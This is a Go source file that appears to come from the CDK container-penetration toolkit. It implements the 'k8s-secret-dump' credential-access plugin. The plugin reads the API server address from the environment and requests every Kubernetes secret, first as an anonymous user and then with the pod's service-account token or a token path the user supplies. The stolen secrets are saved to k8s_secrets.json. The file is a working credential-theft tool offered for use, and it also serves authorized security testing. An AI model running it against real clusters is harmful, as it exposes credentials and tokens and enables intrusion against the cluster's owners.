//go:build !no_k8s_secret_dump
// +build !no_k8s_secret_dump

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package credential_access

import (
	"fmt"
	"io/ioutil"
	"log"
	"strings"

	"github.com/cdk-team/CDK/pkg/exploit/base"

	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
)

var secretApi = "/api/v1/secrets"

func dumpK8sSecretsSA(serverAddr string, tokenPath string) string {
	log.Println("requesting ", secretApi)
	resp, err := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: tokenPath,
			Server:    serverAddr, // default
			Api:       secretApi,
			Method:    "get",
			PostData:  "",
			Anonymous: false,
		})
	if err != nil {
		fmt.Println(err)
	}
	return resp
}

func dumpK8sSecretsAnonymous(serverAddr string) string {
	log.Println("requesting ", secretApi)
	resp, err := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: "",
			Server:    serverAddr, // default
			Api:       secretApi,
			Method:    "get",
			PostData:  "",
			Anonymous: true,
		})
	if err != nil {
		fmt.Println(err)
	}
	return resp
}

// plugin interface
type K8sSecretsDumpS struct{ base.BaseExploit }

func (p K8sSecretsDumpS) Desc() string {
	return "try to dump K8s secret in multiple ways, usage: cdk run k8s-secret-dump (auto|<service-account-token-path>)"
}
func (p K8sSecretsDumpS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	var resp string
	var outFile = "k8s_secrets.json"
	switch args[0] {
	case "auto":
		log.Println("trying to dump K8s Secrets with user system:anonymous")
		resp = dumpK8sSecretsAnonymous(addr)
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)

			log.Println("trying to dump K8s Secrets with local service-account:", conf.K8sSATokenDefaultPath)
			resp = dumpK8sSecretsSA(addr, conf.K8sSATokenDefaultPath)
			if !strings.Contains(resp, "selfLink") {
				log.Println("failed, api-server response:")
				fmt.Println(resp)
				return false
			}
		}

	default:
		log.Println("trying to dump K8s Secrets with local service-account:", args[0])
		resp = dumpK8sSecretsSA(addr, args[0])
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)
			return false
		}
	}

	log.Println("dump secret success, saved in: ", outFile)
	err = ioutil.WriteFile(outFile, []byte(resp), 0666)
	if err != nil {
		log.Println("failed to write file.", err)
		return false
	}

	return true
}

func init() {
	exploit := K8sSecretsDumpS{}
	exploit.ExploitType = "credential-access"
	plugin.RegisterExploit("k8s-secret-dump", exploit)
}
